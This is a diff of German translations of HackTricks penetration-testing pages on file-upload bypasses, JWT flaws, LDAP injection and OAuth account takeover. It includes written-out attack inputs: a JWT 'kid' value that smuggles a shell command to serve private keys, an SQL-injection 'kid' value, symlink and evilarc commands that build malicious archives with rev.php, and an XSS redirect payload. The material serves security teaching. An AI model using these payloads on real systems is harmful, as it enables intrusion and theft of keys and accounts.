- Eine weitere Technik, um eine Payload zu erstellen, die **eine Größenänderung eines Bildes übersteht**, ist die Verwendung der PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunks**- [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Weitere Tricks zur Überprüfung
- Finden Sie eine Schwachstelle, um die bereits hochgeladene Datei **umzubenennen** (um die Erweiterung zu ändern).
- Finden Sie eine Schwachstelle, um die Datei, die bereits hochgeladen wurde, **umzubenennen** (um die Erweiterung zu ändern).
- Finden Sie eine **Local File Inclusion**-Schwachstelle, um die Hintertür auszuführen.
- **Mögliche Informationsoffenlegung**:
1. Laden Sie die **gleiche Datei** **mehrmals** (und gleichzeitig) mit dem **gleichen Namen** hoch.
@ -107,7 +106,7 @@ Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [R
Für eine detaillierte Untersuchung dieser Schwachstelle überprüfen Sie die ursprüngliche Forschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Fähigkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als `@(filename)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als `@(filename)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
Betrachten Sie das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemas zeigt:
```ini
@ -161,7 +160,7 @@ Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentestern und Bug-Huntern hilft, Datei-Upload-Mechanismen zu testen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und gründliche Bewertungen von Webanwendungen sicherzustellen.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentestern und Bug-Huntern hilft, Datei-Upload-Mechanismen zu testen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und sorgt für gründliche Bewertungen von Webanwendungen.
## Vom Datei-Upload zu anderen Schwachstellen
@ -173,7 +172,7 @@ Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese
- **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/#xss-abusing-service-workers)
- [**XXE in svg Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files)
- Versuchen Sie **verschiedene svg-Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- Versuchen Sie **verschiedene svg Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Berühmte **ImageTrick** Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Wenn Sie **den Webserver anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, eine [SSRF](../ssrf-server-side-request-forgery/) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Seite **gespeichert** wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**.
- [**XXE und CORS** Umgehung mit PDF-Adobe Upload](pdf-upload-xxe-and-cors-bypass.md)
@ -196,7 +195,9 @@ Hier ist eine Top-10-Liste von Dingen, die Sie durch Hochladen erreichen können
#### Burp-Erweiterung
{% embed url="https://github.com/portswigger/upload-scanner" %}
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## Magische Header-Bytes
@ -211,7 +212,7 @@ Wenn Sie eine ZIP-Datei hochladen können, die auf dem Server entpackt wird, kö
#### Symlink
Laden Sie einen Link hoch, der symbolische Links zu anderen Dateien enthält. Dann, beim Zugriff auf die entpackten Dateien, haben Sie Zugriff auf die verlinkten Dateien:
Laden Sie einen Link hoch, der symbolische Links zu anderen Dateien enthält. Dann, beim Zugriff auf die entpackten Dateien, werden Sie auf die verlinkten Dateien zugreifen.
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -219,7 +220,7 @@ tar -cvf test.tar symindex.txt
```
### Dekomprimieren in verschiedenen Ordnern
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass dieses Setup möglicherweise vor der Ausführung von OS-Befehlen durch bösartige Datei-Uploads schützt, können die hierarchische Unterstützung für Kompression und die Verzeichnisdurchquerungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht Angreifern, Einschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekompressionsfunktionalität der angegriffenen Anwendung manipulieren.
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass dieses Setup gegen die Ausführung von OS-Befehlen durch bösartige Datei-Uploads schützen könnte, können die hierarchische Unterstützung für Kompression und die Verzeichnisdurchquerungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht Angreifern, Einschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekompressionsfunktionalität der angegriffenen Anwendung manipulieren.
Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc auf GitHub**](https://github.com/ptoomey3/evilarc). Das Dienstprogramm kann wie folgt verwendet werden:
```python
@ -228,7 +229,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Zusätzlich ist der **Symlink-Trick mit evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzuvisieren, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Operation keine Fehler auftritt.
Zusätzlich ist der **Symlink-Trick mit evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzugreifen, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Operation keine Fehler auftritt.
Unten ist ein Beispiel für Python-Code, der verwendet wird, um eine bösartige Zip-Datei zu erstellen:
```python
@ -313,5 +314,4 @@ Weitere Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-b
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
{{#include ../../banners/hacktricks-training.md}}

31
src/pentesting-web/hacking-jwt-json-web-tokens.md
View File

@ -1,4 +1,4 @@
# JWT-Schwachstellen (Json Web Tokens)
# JWT-Sicherheitsanfälligkeiten (Json Web Tokens)
{{#include ../banners/hacktricks-training.md}}
@ -59,7 +59,7 @@ Verwenden Sie die Burp-Erweiterung "JSON Web Token", um diese Schwachstelle ausz
### Ändern Sie den Algorithmus von RS256 (asymmetrisch) auf HS256 (symmetrisch) (CVE-2016-5431/CVE-2016-10555)
Der Algorithmus HS256 verwendet den geheimen Schlüssel, um jede Nachricht zu signieren und zu verifizieren.\
Der Algorithmus RS256 verwendet den privaten Schlüssel, um die Nachricht zu signieren, und verwendet den öffentlichen Schlüssel zur Authentifizierung.
Der Algorithmus RS256 verwendet den privaten Schlüssel, um die Nachricht zu signieren, und den öffentlichen Schlüssel zur Authentifizierung.
Wenn Sie den Algorithmus von RS256 auf HS256 ändern, verwendet der Backend-Code den öffentlichen Schlüssel als geheimen Schlüssel und verwendet dann den HS256-Algorithmus, um die Signatur zu verifizieren.
@ -73,7 +73,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Ein Angreifer bettet einen neuen Schlüssel im Header des Tokens ein, und der Server verwendet diesen neuen Schlüssel zur Überprüfung der Signatur (CVE-2018-0114).
Dies kann mit der "JSON Web Tokens" Burp-Erweiterung durchgeführt werden.\
(Senden Sie die Anfrage an den Repeater, wählen Sie im Tab "JSON Web Token" "CVE-2018-0114" aus und senden Sie die Anfrage).
(Senden Sie die Anfrage an den Repeater, wählen Sie im Tab für JSON Web Token "CVE-2018-0114" aus und senden Sie die Anfrage).
### JWKS Spoofing
@ -95,7 +95,7 @@ python3 jwt_tool.py JWT_HERE -X s
### Übersicht über Kid-Probleme
Ein optionaler Headeranspruch namens `kid` wird verwendet, um einen bestimmten Schlüssel zu identifizieren, was in Umgebungen, in denen mehrere Schlüssel zur Überprüfung der Token-Signatur vorhanden sind, besonders wichtig wird. Dieser Anspruch hilft bei der Auswahl des geeigneten Schlüssels zur Überprüfung der Signatur eines Tokens.
Ein optionaler Headeranspruch, bekannt als `kid`, wird verwendet, um einen bestimmten Schlüssel zu identifizieren, was in Umgebungen, in denen mehrere Schlüssel zur Überprüfung der Token-Signatur vorhanden sind, besonders wichtig wird. Dieser Anspruch hilft bei der Auswahl des geeigneten Schlüssels zur Überprüfung der Signatur eines Tokens.
#### Offenlegung des Schlüssels durch "kid"
@ -111,7 +111,7 @@ Durch das Anvisieren von Dateien mit vorhersehbarem Inhalt ist es möglich, ein
#### SQL-Injection über "kid"
Wenn der Inhalt des `kid`-Anspruchs verwendet wird, um ein Passwort aus einer Datenbank abzurufen, könnte eine SQL-Injection durch Modifikation des `kid`-Payloads ermöglicht werden. Ein Beispiel-Payload, der SQL-Injection verwendet, um den JWT-Signierungsprozess zu ändern, ist:
Wenn der Inhalt des `kid`-Anspruchs verwendet wird, um ein Passwort aus einer Datenbank abzurufen, könnte eine SQL-Injection ermöglicht werden, indem die `kid`-Nutzlast modifiziert wird. Ein Beispiel für eine Nutzlast, die SQL-Injection verwendet, um den JWT-Signierungsprozess zu ändern, ist:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
@ -119,7 +119,7 @@ Diese Änderung zwingt die Verwendung eines bekannten geheimen Schlüssels, `ATT
#### OS-Injection über "kid"
Ein Szenario, in dem der `kid`-Parameter einen Dateipfad angibt, der innerhalb eines Befehlsausführungskontexts verwendet wird, könnte zu Remote Code Execution (RCE)-Schwachstellen führen. Durch das Injizieren von Befehlen in den `kid`-Parameter ist es möglich, private Schlüssel offenzulegen. Ein Beispiel-Payload zur Erreichung von RCE und Schlüsseloffenlegung ist:
Ein Szenario, in dem der `kid`-Parameter einen Dateipfad angibt, der innerhalb eines Befehlsausführungskontexts verwendet wird, könnte zu Remote Code Execution (RCE)-Schwachstellen führen. Durch das Injizieren von Befehlen in den `kid`-Parameter ist es möglich, private Schlüssel offenzulegen. Ein Beispiel für eine Nutzlast zur Erreichung von RCE und Schlüsseloffenlegung ist:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@ -177,7 +177,7 @@ openssl x509 -in attacker.crt -text
```
### Eingebetteter öffentlicher Schlüssel (CVE-2018-0114)
Wenn der JWT einen eingebetteten öffentlichen Schlüssel hat, wie im folgenden Szenario:
Wenn das JWT einen öffentlichen Schlüssel eingebettet hat, wie im folgenden Szenario:
![](<../images/image (624).png>)
@ -218,29 +218,32 @@ Hier ist ein Beispiel: [ECDSA: Offenlegung des privaten Schlüssels, wenn dassel
### JTI (JWT ID)
Der JTI (JWT ID) Anspruch bietet einen eindeutigen Identifikator für ein JWT-Token. Er kann verwendet werden, um zu verhindern, dass das Token wiederverwendet wird.\
Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 beträgt (0001-9999). Die Anfragen 0001 und 10001 werden dieselbe ID verwenden. Wenn das Backend die ID bei jeder Anfrage erhöht, könnten Sie dies ausnutzen, um **eine Anfrage wiederzugeben** (es müssen 10000 Anfragen zwischen jeder erfolgreichen Wiederholung gesendet werden).
Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 beträgt (0001-9999). Die Anfragen 0001 und 10001 werden dieselbe ID verwenden. Wenn das Backend die ID bei jeder Anfrage erhöht, könnten Sie dies ausnutzen, um eine **Anfrage erneut abzuspielen** (es müssen 10000 Anfragen zwischen jedem erfolgreichen Replay gesendet werden).
### JWT Registrierte Ansprüche
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
{{#ref}}
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
{{#endref}}
### Andere Angriffe
**Cross-Service Relay Angriffe**
Es wurde beobachtet, dass einige Webanwendungen auf einen vertrauenswürdigen JWT-Dienst zur Generierung und Verwaltung ihrer Tokens angewiesen sind. Es wurden Fälle dokumentiert, in denen ein Token, das für einen Client vom JWT-Dienst generiert wurde, von einem anderen Client desselben JWT-Dienstes akzeptiert wurde. Wenn die Ausgabe oder Erneuerung eines JWT über einen Drittanbieterdienst beobachtet wird, sollte die Möglichkeit untersucht werden, sich mit demselben Benutzernamen/E-Mail-Adresse bei einem anderen Client dieses Dienstes anzumelden. Anschließend sollte versucht werden, das erhaltene Token in einer Anfrage an das Ziel wiederzugeben, um zu sehen, ob es akzeptiert wird.
Es wurde beobachtet, dass einige Webanwendungen auf einen vertrauenswürdigen JWT-Dienst für die Generierung und Verwaltung ihrer Tokens angewiesen sind. Es wurden Fälle dokumentiert, in denen ein Token, das für einen Client vom JWT-Dienst generiert wurde, von einem anderen Client desselben JWT-Dienstes akzeptiert wurde. Wenn die Ausgabe oder Erneuerung eines JWT über einen Drittanbieterdienst beobachtet wird, sollte die Möglichkeit untersucht werden, sich mit demselben Benutzernamen/E-Mail-Adresse bei einem anderen Client dieses Dienstes anzumelden. Es sollte dann versucht werden, das erhaltene Token in einer Anfrage an das Ziel erneut abzuspielen, um zu sehen, ob es akzeptiert wird.
- Ein kritisches Problem könnte durch die Akzeptanz Ihres Tokens angezeigt werden, was möglicherweise das Spoofing eines beliebigen Benutzerkontos ermöglicht. Es sollte jedoch beachtet werden, dass möglicherweise eine Genehmigung für umfassendere Tests erforderlich ist, wenn Sie sich bei einer Drittanbieteranwendung anmelden, da dies in einen rechtlichen Graubereich fallen könnte.
**Ablaufprüfung von Tokens**
Das Ablaufdatum des Tokens wird mit dem "exp" Payload-Anspruch überprüft. Da JWTs oft ohne Sitzungsinformationen verwendet werden, ist eine sorgfältige Handhabung erforderlich. In vielen Fällen könnte das Erfassen und Wiedergeben eines anderen Benutzers JWT die Identitätsübernahme dieses Benutzers ermöglichen. Die JWT RFC empfiehlt, JWT-Wiederholungsangriffe zu mindern, indem der "exp"-Anspruch verwendet wird, um eine Ablaufzeit für das Token festzulegen. Darüber hinaus ist die Implementierung relevanter Prüfungen durch die Anwendung entscheidend, um die Verarbeitung dieses Wertes und die Ablehnung abgelaufener Tokens sicherzustellen. Wenn das Token einen "exp"-Anspruch enthält und die Testzeitlimits dies zulassen, wird empfohlen, das Token zu speichern und es nach Ablauf der Zeit erneut wiederzugeben. Der Inhalt des Tokens, einschließlich der Zeitstempelverarbeitung und der Ablaufprüfung (Zeitstempel in UTC), kann mit dem -R-Flag des jwt_tool gelesen werden.
Das Ablaufdatum des Tokens wird mit dem "exp" Payload-Anspruch überprüft. Da JWTs oft ohne Sitzungsinformationen verwendet werden, ist eine sorgfältige Handhabung erforderlich. In vielen Fällen könnte das Erfassen und Wiedergeben eines JWT eines anderen Benutzers die Identitätsübernahme dieses Benutzers ermöglichen. Die JWT RFC empfiehlt, JWT-Wiederholungsangriffe zu mindern, indem der "exp"-Anspruch verwendet wird, um eine Ablaufzeit für das Token festzulegen. Darüber hinaus ist die Implementierung relevanter Prüfungen durch die Anwendung entscheidend, um die Verarbeitung dieses Wertes sicherzustellen und abgelaufene Tokens abzulehnen. Wenn das Token einen "exp"-Anspruch enthält und die Testzeitlimits dies zulassen, wird empfohlen, das Token zu speichern und es nach Ablauf der Zeit erneut abzuspielen. Der Inhalt des Tokens, einschließlich der Zeitstempelverarbeitung und der Ablaufprüfung (Zeitstempel in UTC), kann mit dem -R-Flag des jwt_tool gelesen werden.
- Ein Sicherheitsrisiko könnte bestehen, wenn die Anwendung das Token weiterhin validiert, da dies implizieren könnte, dass das Token niemals ablaufen könnte.
### Tools
{% embed url="https://github.com/ticarpi/jwt_tool" %}
### Werkzeuge
{{#ref}}
https://github.com/ticarpi/jwt_tool
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

7
src/pentesting-web/ldap-injection.md
View File

@ -14,7 +14,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection** ist ein Angriff, der auf Webanwendungen abzielt, die LDAP-Anweisungen aus Benutzereingaben erstellen. Er tritt auf, wenn die Anwendung **nicht ordnungsgemäß** Eingaben bereinigt, was Angreifern ermöglicht, **LDAP-Anweisungen** über einen lokalen Proxy zu **manipulieren**, was potenziell zu unbefugtem Zugriff oder Datenmanipulation führen kann.
**LDAP Injection** ist ein Angriff, der auf Webanwendungen abzielt, die LDAP-Anweisungen aus Benutzereingaben erstellen. Es tritt auf, wenn die Anwendung **nicht ordnungsgemäß** Eingaben bereinigt, was Angreifern ermöglicht, **LDAP-Anweisungen** über einen lokalen Proxy zu **manipulieren**, was potenziell zu unbefugtem Zugriff oder Datenmanipulation führen kann.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -203,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
```
### Weitere Payloads
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

76
src/pentesting-web/oauth-to-account-takeover.md
View File

@ -2,27 +2,26 @@
{{#include ../banners/hacktricks-training.md}}
## Grundlegende Informationen <a href="#d4a8" id="d4a8"></a>
OAuth bietet verschiedene Versionen, mit grundlegenden Einblicken, die in der [OAuth 2.0-Dokumentation](https://oauth.net/2/) verfügbar sind. Diese Diskussion konzentriert sich hauptsächlich auf den weit verbreiteten [OAuth 2.0-Autorisierungscode-Grant-Typ](https://oauth.net/2/grant-types/authorization-code/), der ein **Autorisierungsframework bereitstellt, das einer Anwendung den Zugriff auf oder die Durchführung von Aktionen im Konto eines Benutzers in einer anderen Anwendung** (dem Autorisierungsserver) ermöglicht.
OAuth bietet verschiedene Versionen, mit grundlegenden Einblicken, die in der [OAuth 2.0-Dokumentation](https://oauth.net/2/) verfügbar sind. Diese Diskussion konzentriert sich hauptsächlich auf den weit verbreiteten [OAuth 2.0-Autorisierungscode-Grant-Typ](https://oauth.net/2/grant-types/authorization-code/), der einen **Autorisierungsrahmen bietet, der es einer Anwendung ermöglicht, auf das Konto eines Benutzers in einer anderen Anwendung zuzugreifen oder Aktionen auszuführen** (dem Autorisierungsserver).
Betrachten Sie eine hypothetische Website _**https://example.com**_, die **alle Ihre Social-Media-Beiträge** anzeigen soll, einschließlich privater. Um dies zu erreichen, wird OAuth 2.0 verwendet. _https://example.com_ wird um Ihre Erlaubnis bitten, **auf Ihre Social-Media-Beiträge zuzugreifen**. Folglich erscheint ein Zustimmungsbildschirm auf _https://socialmedia.com_, der die **angeforderten Berechtigungen und den Entwickler, der die Anfrage stellt**, umreißt. Nach Ihrer Genehmigung erhält _https://example.com_ die Möglichkeit, **in Ihrem Namen auf Ihre Beiträge zuzugreifen**.
Betrachten Sie eine hypothetische Website _**https://example.com**_, die **alle Ihre Social-Media-Beiträge** anzeigen soll, einschließlich privater. Um dies zu erreichen, wird OAuth 2.0 verwendet. _https://example.com_ wird um Ihre Erlaubnis bitten, **auf Ihre Social-Media-Beiträge zuzugreifen**. Folglich erscheint ein Zustimmungsbildschirm auf _https://socialmedia.com_, der die **angeforderten Berechtigungen und den Entwickler, der die Anfrage stellt, umreißt**. Nach Ihrer Autorisierung erhält _https://example.com_ die Möglichkeit, **in Ihrem Namen auf Ihre Beiträge zuzugreifen**.
Es ist wichtig, die folgenden Komponenten innerhalb des OAuth 2.0-Frameworks zu verstehen:
Es ist wichtig, die folgenden Komponenten innerhalb des OAuth 2.0-Rahmens zu verstehen:
- **resource owner**: Sie, als **Benutzer/Entität**, autorisieren den Zugriff auf Ihre Ressource, wie Ihre Social-Media-Kontenbeiträge.
- **resource server**: Der **Server, der authentifizierte Anfragen verwaltet**, nachdem die Anwendung ein `access token` im Namen des `resource owner` gesichert hat, z. B. **https://socialmedia.com**.
- **client application**: Die **Anwendung, die die Autorisierung** vom `resource owner` anfordert, wie **https://example.com**.
- **authorization server**: Der **Server, der `access tokens`** an die `client application` nach erfolgreicher Authentifizierung des `resource owner` und Sicherstellung der Autorisierung ausgibt, z. B. **https://socialmedia.com**.
- **resource owner**: Sie, als der **Benutzer/Entität**, autorisieren den Zugriff auf Ihre Ressource, wie Ihre Social-Media-Konto-Beiträge.
- **resource server**: Der **Server, der authentifizierte Anfragen verwaltet**, nachdem die Anwendung ein `access token` im Namen des `resource owner` gesichert hat, z.B. **https://socialmedia.com**.
- **client application**: Die **Anwendung, die Autorisierung** vom `resource owner` anfordert, wie **https://example.com**.
- **authorization server**: Der **Server, der `access tokens`** an die `client application` nach erfolgreicher Authentifizierung des `resource owner` und Sicherstellung der Autorisierung ausgibt, z.B. **https://socialmedia.com**.
- **client_id**: Ein öffentlicher, eindeutiger Identifikator für die Anwendung.
- **client_secret:** Ein vertraulicher Schlüssel, der nur der Anwendung und dem Autorisierungsserver bekannt ist, der zur Generierung von `access_tokens` verwendet wird.
- **response_type**: Ein Wert, der **den angeforderten Token-Typ** angibt, wie `code`.
- **response_type**: Ein Wert, der **den angeforderten Token-Typ angibt**, wie `code`.
- **scope**: Der **Zugriffslevel**, den die `client application` vom `resource owner` anfordert.
- **redirect_uri**: Die **URL, zu der der Benutzer nach der Autorisierung umgeleitet wird**. Diese muss in der Regel mit der vorab registrierten Umleitungs-URL übereinstimmen.
- **state**: Ein Parameter, um **Daten während der Umleitung des Benutzers zum und vom Autorisierungsserver** zu erhalten. Seine Einzigartigkeit ist entscheidend, um als **CSRF-Schutzmechanismus** zu dienen.
- **grant_type**: Ein Parameter, der **den Grant-Typ und den zurückzugebenden Token-Typ** angibt.
- **code**: Der Autorisierungscode vom `authorization server`, der zusammen mit `client_id` und `client_secret` von der Client-Anwendung verwendet wird, um ein `access_token` zu erwerben.
- **state**: Ein Parameter, um **Daten während der Umleitung des Benutzers zum und vom Autorisierungsserver zu erhalten**. Seine Einzigartigkeit ist entscheidend, um als **CSRF-Schutzmechanismus** zu dienen.
- **grant_type**: Ein Parameter, der **den Grant-Typ und den zurückzugebenden Token-Typ angibt**.
- **code**: Der Autorisierungscode vom `authorization server`, der zusammen mit `client_id` und `client_secret` von der Client-Anwendung verwendet wird, um ein `access_token` zu erhalten.
- **access_token**: Der **Token, den die Client-Anwendung für API-Anfragen** im Namen des `resource owner` verwendet.
- **refresh_token**: Ermöglicht der Anwendung, **ein neues `access_token` zu erhalten, ohne den Benutzer erneut zu fragen**.
@ -31,7 +30,7 @@ Es ist wichtig, die folgenden Komponenten innerhalb des OAuth 2.0-Frameworks zu
Der **tatsächliche OAuth-Ablauf** verläuft wie folgt:
1. Sie navigieren zu [https://example.com](https://example.com) und wählen die Schaltfläche „Mit Social Media integrieren“.
2. Die Website sendet dann eine Anfrage an [https://socialmedia.com](https://socialmedia.com), in der um Ihre Genehmigung gebeten wird, damit die Anwendung von https://example.com auf Ihre Beiträge zugreifen kann. Die Anfrage ist wie folgt strukturiert:
2. Die Website sendet dann eine Anfrage an [https://socialmedia.com](https://socialmedia.com), in der um Ihre Autorisierung gebeten wird, damit die Anwendung von https://example.com auf Ihre Beiträge zugreifen kann. Die Anfrage ist wie folgt strukturiert:
```
https://socialmedia.com/auth
?response_type=code
@ -45,7 +44,7 @@ https://socialmedia.com/auth
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com verwendet diesen `code` zusammen mit seiner `client_id` und `client_secret`, um eine serverseitige Anfrage zu stellen, um ein `access_token` in Ihrem Namen zu erhalten, das den Zugriff auf die Berechtigungen ermöglicht, denen Sie zugestimmt haben:
5. https://example.com nutzt diesen `code`, zusammen mit seiner `client_id` und `client_secret`, um eine serverseitige Anfrage zu stellen, um ein `access_token` in Ihrem Namen zu erhalten, das den Zugriff auf die Berechtigungen ermöglicht, denen Sie zugestimmt haben:
```
POST /oauth/access_token
Host: socialmedia.com
@ -55,13 +54,15 @@ Host: socialmedia.com
## Schwachstellen <a href="#id-323a" id="id-323a"></a>
Die `redirect_uri` ist entscheidend für die Sicherheit in OAuth- und OpenID-Implementierungen, da sie angibt, wohin sensible Daten, wie Autorisierungscodes, nach der Autorisierung gesendet werden. Wenn sie falsch konfiguriert ist, könnte dies Angreifern ermöglichen, diese Anfragen an bösartige Server umzuleiten, was einen Account Takeover ermöglicht.
### Offene redirect_uri <a href="#cc36" id="cc36"></a>
Die Ausbeutungstechniken variieren je nach Validierungslogik des Autorisierungsservers. Sie können von striktem Pfadabgleich bis hin zur Akzeptanz beliebiger URLs innerhalb der angegebenen Domain oder Unterverzeichnisse reichen. Zu den gängigen Ausbeitungsmethoden gehören offene Umleitungen, Pfadtraversierung, das Ausnutzen schwacher Regex und HTML-Injection zum Diebstahl von Tokens.
Die `redirect_uri` ist entscheidend für die Sicherheit in OAuth- und OpenID-Implementierungen, da sie angibt, wohin sensible Daten, wie Autorisierungscodes, nach der Autorisierung gesendet werden. Wenn sie falsch konfiguriert ist, könnte dies Angreifern ermöglichen, diese Anfragen an bösartige Server umzuleiten, was einen Account-Übernahme ermöglicht.
Neben der `redirect_uri` sind auch andere OAuth- und OpenID-Parameter wie `client_uri`, `policy_uri`, `tos_uri` und `initiate_login_uri` anfällig für Umleitungsangriffe. Diese Parameter sind optional und ihre Unterstützung variiert je nach Server.
Die Ausbeutungstechniken variieren je nach Validierungslogik des Autorisierungsservers. Sie können von striktem Pfadabgleich bis hin zur Akzeptanz beliebiger URLs innerhalb der angegebenen Domain oder Unterverzeichnisse reichen. Zu den gängigen Ausbeutungstechniken gehören offene Umleitungen, Pfadtraversierung, das Ausnutzen schwacher Regex und HTML-Injection zum Diebstahl von Tokens.
Für diejenigen, die einen OpenID-Server anvisieren, listet der Discovery-Endpunkt (`**.well-known/openid-configuration**`) oft wertvolle Konfigurationsdetails wie `registration_endpoint`, `request_uri_parameter_supported` und "`require_request_uri_registration`. Diese Details können helfen, den Registrierungsendpunkt und andere Konfigurationsspezifika des Servers zu identifizieren.
Neben `redirect_uri` sind auch andere OAuth- und OpenID-Parameter wie `client_uri`, `policy_uri`, `tos_uri` und `initiate_login_uri` anfällig für Umleitungsangriffe. Diese Parameter sind optional und ihre Unterstützung variiert je nach Server.
Für diejenigen, die einen OpenID-Server anvisieren, listet der Entdeckungsendpunkt (`**.well-known/openid-configuration**`) oft wertvolle Konfigurationsdetails wie `registration_endpoint`, `request_uri_parameter_supported` und "`require_request_uri_registration`. Diese Details können helfen, den Registrierungsendpunkt und andere Konfigurationsspezifika des Servers zu identifizieren.
### XSS in der Umleitungsimplementierung <a href="#bda5" id="bda5"></a>
@ -71,24 +72,24 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
```
### CSRF - Unsachgemäße Handhabung des Statusparameters <a href="#bda5" id="bda5"></a>
In OAuth-Implementierungen kann der Missbrauch oder das Versäumnis des **`state`-Parameters** das Risiko von **Cross-Site Request Forgery (CSRF)**-Angriffen erheblich erhöhen. Diese Schwachstelle entsteht, wenn der `state`-Parameter entweder **nicht verwendet, als statischer Wert verwendet oder nicht ordnungsgemäß validiert** wird, was Angreifern ermöglicht, CSRF-Schutzmaßnahmen zu umgehen.
In OAuth-Implementierungen kann der Missbrauch oder das Fehlen des **`state`-Parameters** das Risiko von **Cross-Site Request Forgery (CSRF)**-Angriffen erheblich erhöhen. Diese Schwachstelle tritt auf, wenn der `state`-Parameter entweder **nicht verwendet, als statischer Wert verwendet oder nicht ordnungsgemäß validiert** wird, was Angreifern ermöglicht, CSRF-Schutzmaßnahmen zu umgehen.
